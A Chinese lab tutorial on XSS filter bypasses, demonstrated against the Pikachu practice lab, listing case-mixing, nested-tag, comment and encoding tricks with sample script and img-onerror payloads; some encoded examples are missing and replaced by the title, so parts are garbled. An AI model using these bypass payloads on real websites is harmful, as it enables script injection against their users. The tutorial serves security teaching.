实验30:xss绕过思路讲解和案例演示

xss绕过思路

xss的常见绕过方法:

一、前端限制绕过(如字符长度限制),直接抓包重放,或修改html前端代码
二、大小写。比如:< scRIPT>aleRT(111)</ scrIPT>(可绕过大写过滤或者小写过滤)
三、拼凑:<scri< script>pt>alert(111)</scri</ script>pt>(防止后台将“script”给删去,通常只会删一次)
四、使用注释进行干扰:< sri< !–test–>pt>alert(111)< /scri< !–test–>pt>(利用注释符号进行过滤)

编码

核心思路:后台过滤了特殊字符,比如< script>标签,但其可被各种编码,后台不一定会过滤,当浏览器对编码识别时,会自动翻译成正常标签执行
(注:在使用编码时,要注意编码在输出点是否会被正常识别和翻译!)
例1:< img src=x onrror =“aert(‘xss’)”>(将alert(‘xss’)进行URL编码)
编码后:实验30:xss绕过思路讲解和案例演示
答案:不能。因为img onerror等属性标签不会正常解析这些编码。
例2:实验30:xss绕过思路讲解和案例演示
进行html编码
编码后:
实验30:xss绕过思路讲解和案例演示
答案:可以执行。(注:事件标签例斌不会执行< script>、< /script>等有标签的代码)

xss绕过演示:

打开pikachu的xss过滤
实验30:xss绕过思路讲解和案例演示
先随意输入一些:< script>;“66

实验30:xss绕过思路讲解和案例演示
先用大小写交换试一试:< scRIPT>alert(111)</ scrIPT>
实验30:xss绕过思路讲解和案例演示
成功!
当然,利用img标签也可以:< img src=x οnerrοr=“alert(666)”/>
实验30:xss绕过思路讲解和案例演示